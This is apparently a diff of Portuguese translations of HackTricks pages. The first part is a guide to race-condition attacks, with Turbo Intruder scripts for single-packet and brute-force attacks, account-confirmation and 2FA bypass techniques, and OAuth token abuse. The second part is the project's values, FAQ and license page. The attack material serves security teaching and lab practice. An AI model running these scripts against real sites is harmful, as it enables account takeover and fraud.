potencialmente ocultando vulnerabilidades. Usar diferentes session tokens para cada request pode contornar esse problema. -#### Superando limites de taxa ou de recursos +#### Overcoming Rate or Resource Limits -Se o aquecimento de conexão não for efetivo, provocar intencionalmente delays de limite de taxa ou de recursos do web server por meio de um flood de requisições dummy pode facilitar o single-packet attack ao induzir um atraso do lado do servidor propício para race conditions. +Se o aquecimento de conexão for ineficaz, provocar intencionalmente atrasos de limite de rate ou de resource dos web servers através de um flood de dummy requests pode facilitar o single-packet attack, induzindo um delay do lado do servidor que favorece race conditions. -## Exemplos de ataque +## Attack Examples -- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Você pode enviar a requisição para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), você pode mudar na requisição o valor que deseja testar por força bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso: +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Você pode enviar a request para **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), alterar na request o valor que quer brute force para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`examples/race-single-packer-attack.py`** no menu suspenso:
-Se você for enviar valores diferentes, pode modificar o código para usar esta versão que utiliza uma wordlist da área de transferência: +Se você for enviar **send different values**, você pode modificar o código com este que usa uma wordlist do clipboard: ```python passwords = wordlists.clipboard for password in passwords: @@ -52,7 +52,7 @@ engine.queue(target.req, password, gate='race1') > [!WARNING] > Se o site não suportar HTTP2 (apenas HTTP1.1) use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`. -- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Caso você precise enviar uma requisição para 1 endpoint e então várias para outros endpoints para disparar a RCE, você pode alterar o script `race-single-packet-attack.py` com algo como: +- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: Caso você precise enviar uma requisição para 1 endpoint e depois várias para outros endpoints para acionar a RCE, você pode alterar o script `race-single-packet-attack.py` para algo como: ```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, @@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt) # send all the queued requests for this attempt engine.openGate(currentAttempt) ``` -- Também está disponível no **Repeater** através da nova opção '**Send group in parallel**' no Burp Suite. -- Para **limit-overrun** você pode simplesmente adicionar a **mesma request 50 vezes** no group. -- Para **connection warming**, você pode **adicionar** no **início** do **group** algumas **requests** para alguma parte não estática do servidor web. -- Para **delaying** o processo **entre** o processamento **de uma request e outra** em um passo de 2 subestados, você pode **adicionar requests extras entre** as duas requests. -- Para um **multi-endpoint** RC você pode começar enviando a **request** que **vai para o hidden state** e então **50 requests** logo em seguida que **exploram o hidden state**. +- Também está disponível no **Repeater** através da nova opção '**Send group in parallel**' do Burp Suite. +- Para **limit-overrun** você pode simplesmente adicionar a **mesma request 50 vezes** no **group**. +- Para **connection warming**, você pode **adicionar**, no **início** do **group**, algumas **requests** para alguma parte não estática do servidor web. +- Para **delaying** o processo **entre** o processamento **de uma request e outra** em dois passos de substates, você pode **adicionar requests extras entre** as duas requests. +- Para um **multi-endpoint** RC você pode começar enviando a **request** que **vai para o hidden state** e então **50 requests** logo depois que **exploram o hidden state**.
-- **Automated python script**: O objetivo deste script é alterar o email de um usuário enquanto o verifica continuamente até que o token de verificação do novo email chegue ao último email (isto porque no código foi observado um RC onde era possível modificar um email mas a verificação ser enviada para o antigo, porque a variável indicando o email já estava populada com o primeiro).\ -Quando a palavra "objetivo" for encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque. +- **Automated python script**: O objetivo deste script é alterar o email de um usuário enquanto verifica continuamente até que o token de verificação do novo email chegue ao último email (isso aconteceu porque no código havia um RC onde era possível modificar um email mas a verificação era enviada para o antigo, pois a variável indicando o email já estava populada com o primeiro).\ +Quando a palavra "objetivo" é encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque. ```python # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # Script from victor to solve a HTB challenge @@ -217,21 +217,28 @@ h2_conn.close_connection() response = requests.get(url, verify=False) ``` +#### Turbo Intruder: notas sobre engine e gating + +- Seleção de engine: use `Engine.BURP2` em alvos HTTP/2 para disparar o single‑packet attack; use `Engine.THREADED` ou `Engine.BURP` como fallback para sincronização last‑byte em HTTP/1.1. +- `gate`/`openGate`: enfileire muitas cópias com `gate='race1'` (ou gates por tentativa), que retém a cauda de cada requisição; `openGate('race1')` libera todas as caudas juntas para que cheguem quase simultaneamente. +- Diagnóstico: timestamps negativos no Turbo Intruder indicam que o servidor respondeu antes da requisição ser totalmente enviada, confirmando sobreposição. Isso é esperado em condições de corrida reais. +- Aquecimento de conexão: envie um ping ou algumas requisições inofensivas primeiro para estabilizar os tempos; opcionalmente desative `TCP_NODELAY` para encorajar o agrupamento dos frames finais. + ### Melhorando Single Packet Attack -Na pesquisa original é explicado que esse ataque tem um limite de 1,500 bytes. Entretanto, em [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1,500 bytes do single packet attack para a **65,535 B window limitation of TCP by using IP layer fragmentation** (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordem diferente, evitando o reassembly do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10,000 requests em cerca de 166ms. +Na pesquisa original é explicado que esse ataque tem um limite de 1.500 bytes. No entanto, em [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), foi explicado como é possível estender a limitação de 1.500 bytes do single packet attack para a **limitação de janela de 65,535 B do TCP usando fragmentação na camada IP** (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordens diferentes, o que impede a remontagem do pacote até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10.000 requisições em cerca de 166 ms. -Observe que, embora essa melhoria torne o ataque mais confiável em RC que requerem centenas/milhares de pacotes chegarem ao mesmo tempo, ela também pode ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go possuem uma configuração rígida `SETTINGS_MAX_CONCURRENT_STREAMS` para 100, 128 e 250. Entretanto, outros como NodeJS e nghttp2 têm isso ilimitado.\ -Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP de uma única conexão TCP (limitando esse ataque RC). +Observe que, embora essa melhoria torne o ataque mais confiável em RC que requer centenas/milhares de pacotes para chegarem ao mesmo tempo, ela também pode ter limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm uma configuração estrita `SETTINGS_MAX_CONCURRENT_STREAMS` definida para 100, 128 e 250. No entanto, outros como NodeJS e nghttp2 a têm ilimitada.\ +Isso basicamente significa que o Apache considerará apenas 100 conexões HTTP a partir de uma única conexão TCP (limitando este ataque RC). -Você pode encontrar alguns exemplos usando esta técnica no repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). +Você pode encontrar alguns exemplos usando essa técnica no repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ## Raw BF -Antes da pesquisa anterior, estes foram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC. +Antes da pesquisa anterior, estes eram alguns payloads usados que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC. -- **Repeater:** Veja os exemplos da seção anterior. -- **Intruder**: Envie a **request** para o **Intruder**, ajuste o **number of threads** para **30** dentro do **Options menu**, selecione como payload **Null payloads** e gere **30**. +- **Repeater:** Consulte os exemplos da seção anterior. +- **Intruder**: Envie o **request** para o **Intruder**, defina o **number of threads** para **30** dentro do **Options menu**, selecione como payload **Null payloads** e gere **30**. - **Turbo Intruder** ```python def queueRequests(target, wordlists): @@ -281,73 +288,73 @@ asyncio.run(main()) ``` ## **Metodologia RC** -### Limit-overrun / TOCTOU +### Extrapolação de limite / TOCTOU -Este é o tipo mais básico de race condition onde **vulnerabilities** que **appear** em lugares que **limit the number of times you can perform an action**. Como usar o mesmo discount code em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**this bug**](https://hackerone.com/reports/759247)**.** +Este é o tipo mais básico de race condition onde **vulnerabilidades** que **aparecem** em pontos que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja web várias vezes. Um exemplo bem simples pode ser encontrado em [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou em [**this bug**](https://hackerone.com/reports/759247)**.** Existem muitas variações desse tipo de ataque, incluindo: -- Resgatar um gift card múltiplas vezes -- Avaliar um produto múltiplas vezes -- Sacar ou transferir cash em excesso do seu account balance -- Reutilizar uma única solução de CAPTCHA -- Bypassing um anti-brute-force rate limit +- Resgatar um cartão-presente várias vezes +- Avaliar um produto várias vezes +- Sacar ou transferir dinheiro além do saldo da sua conta +- Reutilizar a mesma solução de CAPTCHA +- Contornar um rate limit anti-brute-force ### **Subestados ocultos** -Explorar race conditions complexas frequentemente envolve aproveitar oportunidades breves para interagir com subestados de máquina ocultos ou **unintended machine substates**. Aqui está como abordar isso: +Explorar race conditions complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados de máquina ocultos ou **não intencionais**. Aqui está como abordar isto: -1. **Identify Potential Hidden Substates** -- Comece apontando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de password reset. Foque em: -- **Storage**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados no cliente. -- **Action**: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis comparadas com operações que adicionam novos dados. -- **Keying**: Ataques bem-sucedidos geralmente envolvem operações keyed no mesmo identificador, por exemplo, username ou reset token. -2. **Conduct Initial Probing** -- Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios do resultado esperado. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade. -3. **Demonstrate the Vulnerability** -- Reduza o ataque ao número mínimo de requests necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido. +1. **Identificar Subestados Ocultos Potenciais** +- Comece localizando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de reset de senha. Foque em: +- **Armazenamento**: Prefira endpoints que manipulam dados persistentes no lado do servidor em vez daqueles que lidam com dados no lado do cliente. +- **Ação**: Procure operações que alterem dados existentes, que têm maior probabilidade de criar condições exploráveis em comparação com as que adicionam novos dados. +- **Chaveamento**: Ataques bem-sucedidos normalmente envolvem operações indexadas pela mesma identificação, por exemplo, nome de usuário ou token de reset. +2. **Realizar sondagem inicial** +- Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade. +3. **Demonstrar a Vulnerabilidade** +- Reduza o ataque ao número mínimo de requisições necessárias para explorar a vulnerabilidade, frequentemente apenas duas. Este passo pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido. -### Time Sensitive Attacks +### Ataques Sensíveis ao Tempo -Precisão no timing das requests pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para security tokens. Por exemplo, gerar password reset tokens baseados em timestamps pode permitir tokens idênticos para requests simultâneas. +Precisão na temporização das requisições pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha baseados em timestamps pode permitir tokens idênticos para requisições simultâneas. -**To Exploit:** +**Para Explorar:** -- Use timing preciso, como um single packet attack, para fazer concurrent password reset requests. Tokens idênticos indicam uma vulnerabilidade. +- Use temporização precisa, como um ataque de pacote único, para fazer requisições de password reset concorrentes. Tokens idênticos indicam uma vulnerabilidade. -**Example:** +**Exemplo:** -- Requisite dois password reset tokens ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens. +- Solicite dois tokens de password reset ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.** +**Confira** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para experimentar isso.** -## Hidden substates case studies +## Estudos de caso de subestados ocultos -### Pay & add an Item +### Pagar e adicionar um item -Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**. +Confira este [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que você **não precisará pagar**. -### Confirm other emails +### Confirmar outros emails -A ideia é **verify an email address and change it to a different one at the same time** para descobrir se a plataforma verifica o novo que foi alterado. +A ideia é **verificar um endereço de email e alterá-lo para outro ao mesmo tempo** para descobrir se a plataforma verifica o novo endereço. -### Change email to 2 emails addresses Cookie based +### Alterar email para 2 endereços de email — baseado em Cookie -De acordo com [**this research**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab era vulnerável a takeover dessa forma porque poderia **send** o **email verification token of one email to the other email**. +De acordo com [**this research**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a um takeover dessa forma porque poderia **enviar** o **token de verificação de email de um email para o outro**. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.** +**Confira** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para experimentar isso.** -### Hidden Database states / Confirmation Bypass +### Estados ocultos do banco de dados / Bypass de Confirmação -Se **2 different writes** são usadas para **add** **information** dentro de um **database**, existe uma pequena porção de tempo onde **only the first data has been written** dentro do database. Por exemplo, ao criar um usuário o **username** e **password** podem ser **written** e **then the token** para confirmar a conta recém-criada é escrito. Isso significa que por um curto período o **token to confirm an account is null**. +Se **2 gravações diferentes** são usadas para **adicionar** **informação** dentro de um **banco de dados**, existe uma pequena janela de tempo onde **apenas os primeiros dados foram escritos** no banco de dados. Por exemplo, ao criar um usuário o **nome de usuário** e a **senha** podem ser **gravados** e **depois o token** para confirmar a conta recém-criada é escrito. Isso significa que por um pequeno intervalo o **token para confirmar uma conta é nulo**. -Therefore **registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) to confirm the account right away could allow to c**onfirm an account** where you don't control the email. +Portanto, **registrar uma conta e enviar várias requisições com um token vazio** (`token=` or `token[]=` or any other variation) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** cuja caixa de email você não controla. -**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.** +**Confira** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para experimentar isso.** ### Bypass 2FA -The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created: +O pseudo-código a seguir é vulnerável a race condition porque em uma janela muito pequena a **2FA não é aplicada** enquanto a sessão é criada: ```python session['userid'] = user.userid if user.mfa_enabled: @@ -357,21 +364,21 @@ session['enforce_mfa'] = True ``` ### OAuth2 persistência eterna -There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie uma aplicação e autentique usuários que o provedor registrou. Para isso, o **client** precisará **permitir que sua aplicação** acesse alguns dos seus dados dentro do **OAUth provider**.\ -Então, até aqui é só um login comum com google/linkedin/github... onde você é apresentado a uma página dizendo: "_Application \ wants to access your information, do you want to allow it?_" +Existem vários [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Esses serviços permitem que você crie uma aplicação e autentique usuários que o provider registrou. Para isso, o **client** precisará **permitir que sua aplicação** acesse parte dos dados deles dentro do **OAUth provider**.\ +Ou seja, até aqui é apenas um login comum com google/linkedin/github... onde você vê uma página dizendo: "_Application \ quer acessar suas informações, deseja permitir?_" #### Race Condition em `authorization_code` -O **problema** aparece quando você **o aceita** e automaticamente envia um **`authorization_code`** para a aplicação maliciosa. Então, essa **aplicação abusa de uma Race Condition no provedor de serviços OAUth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ela irá explorar o fato de que você aceitou que a aplicação acesse seus dados para **criar várias contas**. Depois, se você **parar de permitir que a aplicação acesse seus dados**, um par de AT/RT será deletado, mas os outros ainda permanecerão válidos. +O **problema** aparece quando você **o aceita** e isso envia automaticamente um **`authorization_code`** para a aplicação maliciosa. Em seguida, essa **aplicação abusa de um Race Condition no OAUth service provider para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ela vai explorar o fato de que você aceitou que a aplicação acesse seus dados para **criar várias contas**. Então, se você **deixar de permitir que a aplicação acesse seus dados, um par de AT/RT será excluído, mas os outros ainda permanecerão válidos.** #### Race Condition em `Refresh Token` -Uma vez que você tenha **obtido um RT válido** você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo que o usuário cancele as permissões** para a aplicação maliciosa acessar seus dados, **vários RTs ainda permanecerão válidos.** +Uma vez que você tenha **obtido um RT válido** você pode tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** da aplicação maliciosa para acessar seus dados, **vários RTs ainda permanecerão válidos.** ## **RC em WebSockets** -- No [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens WebSocket em **paralelo** para abusar de **Race Conditions também em WebSockets**. -- Com o WebSocket Turbo Intruder do Burp você pode usar o engine **THREADED** para abrir múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste `config()` (contagem de threads) para concorrência; isso frequentemente é mais confiável do que agrupar em uma única conexão ao disputar estado no servidor entre handlers WS. Veja [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). +- Em [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) você pode encontrar um PoC em Java para enviar mensagens websocket em **paralelo** para abusar de **Race Conditions também em Web Sockets**. +- Com o Burp’s WebSocket Turbo Intruder você pode usar o engine **THREADED** para gerar múltiplas conexões WS e disparar payloads em paralelo. Comece pelo exemplo oficial e ajuste `config()` (contagem de threads) para concorrência; isso costuma ser mais confiável do que agrupar em uma única conexão ao competir pelo estado do lado do servidor entre handlers WS. Veja [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). ## Referências diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index e85638103..a33a9e36a 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,19 +1,19 @@ -# Valores do HackTricks & FAQ +# Valores & FAQ do HackTricks {{#include ../banners/hacktricks-training.md}} ## Valores do HackTricks > [!TIP] -> Estas são os **valores do Projeto HackTricks**: +> Estes são os **valores do Projeto HackTricks**: > -> - Dar **GRÁTIS** acesso a recursos **educacionais de hacking** para **TODOS** na Internet. -> - Hacking é sobre aprendizado, e o aprendizado deve ser o mais gratuito possível. -> - O propósito deste livro é servir como um **recurso educacional** abrangente. -> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica, dando aos **AUTORES** **ORIGINAIS** todos os **créditos**. -> - **Não queremos os créditos de outras pessoas**, apenas queremos armazenar truques legais para todos. +> - Dar acesso **GRATUITO** a recursos **educacionais de hacking** para **toda** a Internet. +> - Hacking é sobre aprender, e aprender deve ser o mais gratuito possível. +> - O objetivo deste livro é servir como um **recurso educacional** abrangente. +> - **ARMAZENAR** técnicas incríveis de **hacking** que a comunidade publica, dando aos **AUTORES ORIGINAIS** todos os **créditos**. +> - **Não queremos os créditos de outras pessoas**, nós apenas queremos armazenar truques legais para todos. > - Também escrevemos **nossas próprias pesquisas** no HackTricks. -> - Em vários casos escreveremos apenas **no HackTricks um resumo das partes importantes** da técnica e **encorajaremos o leitor a visitar o post original** para mais detalhes. +> - Em vários casos vamos apenas escrever **no HackTricks um resumo das partes importantes** da técnica e **encorajar o leitor a visitar o post original** para mais detalhes. > - **ORGANIZAR** todas as técnicas de hacking no livro para que seja **MAIS ACESSÍVEL** > - A equipe do HackTricks dedicou milhares de horas gratuitamente **apenas para organizar o conteúdo** para que as pessoas possam **aprender mais rápido** @@ -23,34 +23,34 @@ > [!TIP] > -> - **Muito obrigado por estes recursos, como posso agradecer?** +> - **Muito obrigado por esses recursos, como posso agradecer?** Você pode agradecer publicamente às equipes do HackTricks por reunir todos esses recursos em um tweet mencionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\ -Se estiver especialmente agradecido, você também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\ +Se você estiver especialmente grato, também pode [**patrocinar o projeto aqui**](https://github.com/sponsors/carlospolop).\ E não esqueça de **dar uma estrela nos projetos do Github!** (Encontre os links abaixo). > [!TIP] > > - **Como posso contribuir para o projeto?** -Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as respectivas Github pages: +Você pode **compartilhar novas dicas e truques com a comunidade ou corrigir bugs** que encontrar nos livros enviando um **Pull Request** para as páginas correspondentes do Github: -- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) -- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) +- https://github.com/carlospolop/hacktricks +- https://github.com/carlospolop/hacktricks-cloud Não esqueça de **dar uma estrela nos projetos do Github!** > [!TIP] > -> - **Posso copiar algum conteúdo do HackTricks e colocar no meu blog?** +> - **Posso copiar algum conteúdo do HackTricks e colocá-lo no meu blog?** -Sim, você pode, mas **não se esqueça de mencionar o(s) link(s) específico(s)** de onde o conteúdo foi retirado. +Sim, você pode, mas **não esqueça de mencionar o(s) link(s) específico(s)** de onde o conteúdo foi retirado. > [!TIP] > > - **Como posso citar uma página do HackTricks?** -Desde que o link **da(s)** página(s) de onde você tirou a informação apareça, isso é suficiente.\ +Desde que o link **da(s)** página(s) de onde você obteve a informação apareça, isso é suficiente.\ Se você precisar de um bibtex, pode usar algo como: ```latex @misc{hacktricks-bibtexing, @@ -63,46 +63,46 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > [!WARNING] > > - **Posso copiar todo o HackTricks no meu blog?** -> -> **Prefiro que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks de forma gratuita. -> -> Se você teme que desapareça, basta fazer um fork no Github ou baixá‑lo; como eu disse, já é gratuito. + +**Prefiro que não**. Isso **não vai beneficiar ninguém**, já que todo o **conteúdo já está publicamente disponível** nos livros oficiais do HackTricks gratuitamente. + +Se você teme que vá desaparecer, apenas faça um fork no Github ou baixe-o; como eu disse, já é gratuito. > [!WARNING] > -> - **Por que vocês têm patrocinadores? Os livros do HackTricks têm fins comerciais?** -> -> O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODO** o mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, de **GRAÇA**. -> -> Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**. -> -> Temos patrocinadores porque, mesmo com todo o conteúdo sendo GRATUITO, queremos **dar à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos a opção de doar ao HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cybersecurity** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre posicionados em locais visíveis, mas que **não atrapalham o processo de aprendizagem** caso alguém foque no conteúdo. -> -> Você não vai encontrar o HackTricks cheio de anúncios irritantes como em outros blogs com muito menos conteúdo, porque o HackTricks não foi feito para fins comerciais. +> - **Por que vocês têm patrocinadores? Os livros do HackTricks são para fins comerciais?** + +O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODAS** as pessoas. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**. + +Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**. + +Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas relevantes de cibersegurança** podem patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais onde fiquem **visíveis** mas **não atrapalhem o processo de aprendizagem** caso alguém foque no conteúdo. + +Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com bem menos conteúdo que o HackTricks, porque o HackTricks não é feito para fins comerciais. > [!CAUTION] > > - **O que devo fazer se alguma página do HackTricks estiver baseada no meu post do blog, mas não estiver referenciada?** -> -> **Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via issues do Github, Twitter, Discord... com o link da página do HackTricks que contém o conteúdo e o link do seu blog e **nós verificaremos e adicionaremos a referência o mais rápido possível**. + +**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via issues no Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **verificaremos e adicionaremos a referência o mais rápido possível**. > [!CAUTION] > -> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que esteja lá?** -> -> Note que ter links para sua página no HackTricks: -> -> - Melhora o seu **SEO** -> - O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem esse conteúdo -> - **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que, desde que alguma página delas entrou no HackTricks, elas recebem mais visitas) -> -> No entanto, se você ainda deseja que o conteúdo do seu blog seja removido do HackTricks, apenas nos informe e nós **removeremos definitivamente todo link para o seu blog**, e qualquer conteúdo baseado nele. +> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que ele esteja lá?** + +Observe que ter links para sua página no HackTricks: + +- Melhora seu **SEO** +- O conteúdo é **traduzido para mais de 15 idiomas**, tornando possível que mais pessoas acessem esse conteúdo +- **HackTricks incentiva** as pessoas a **verem sua página** (várias pessoas nos disseram que desde que alguma página delas apareceu no HackTricks passaram a receber mais visitas) + +No entanto, se você ainda quer que o conteúdo do seu blog seja removido do HackTricks, apenas nos informe e nós **removeremos definitivamente todo link para seu blog**, e qualquer conteúdo baseado nele. > [!CAUTION] > > - **O que devo fazer se encontrar conteúdo copiado e colado no HackTricks?** -> -> Nós sempre **damos crédito aos autores originais**. Se você encontrar uma página com conteúdo copiado e colado sem a fonte original referenciada, nos avise e nós ou **removeremos**, ou **adicionaremos o link antes do texto**, ou **reescreveremos incluindo o link**. + +Sempre **damos todos os créditos aos autores originais**. Se você encontrar uma página com conteúdo copiado sem a fonte original referenciada, nos avise e nós iremos **removê-la**, **adicionar o link antes do texto**, ou **reescrevê-la adicionando o link**. ## LICENÇA @@ -112,31 +112,31 @@ Copyright © Todos os direitos reservados, salvo indicação em contrário. - Atribuição: Você tem permissão para: - Compartilhar — copiar e redistribuir o material em qualquer meio ou formato. -- Adaptar — remixar, transformar e criar a partir do material. +- Adaptar — remixar, transformar e criar obras derivadas do material. #### Termos Adicionais: -- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como excertos de outros blogs ou publicações. O uso desse conteúdo é feito sob os princípios do uso justo ("fair use") ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento sobre conteúdo de terceiros. -- Autoria: O conteúdo original criado pelo HackTricks está sujeito aos termos desta licença. Recomenda‑se atribuir este trabalho ao autor ao compartilhá‑lo ou adaptá‑lo. +- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de fair use ou com permissão explícita dos respectivos detentores de direitos autorais. Por favor, consulte as fontes originais para informações de licenciamento específicas sobre conteúdo de terceiros. +- Autoria: O conteúdo original produzido pelo HackTricks está sujeito aos termos desta licença. Recomenda-se atribuir este trabalho ao autor ao compartilhá-lo ou adaptá-lo. -#### Exceções: +#### Isenções: -- Uso Comercial: Para consultas sobre uso comercial deste conteúdo, por favor entre em contato comigo. +- Uso Comercial: Para consultas relacionadas ao uso comercial deste conteúdo, por favor entre em contato comigo. -Esta licença não concede quaisquer direitos sobre marcas registradas ou branding relacionados ao conteúdo. Todas as marcas e identidades visuais presentes neste blog/livro são propriedade de seus respectivos donos. +Esta licença não concede quaisquer direitos de marca registrada ou de branding em relação ao conteúdo. Todas as marcas registradas e identidades visuais apresentadas neste blog/livro são propriedade de seus respectivos proprietários. **Ao acessar ou usar o HackTricks, você concorda em cumprir os termos desta licença. Se você não concorda com estes termos, por favor, não acesse este site.** ## **Aviso Legal** > 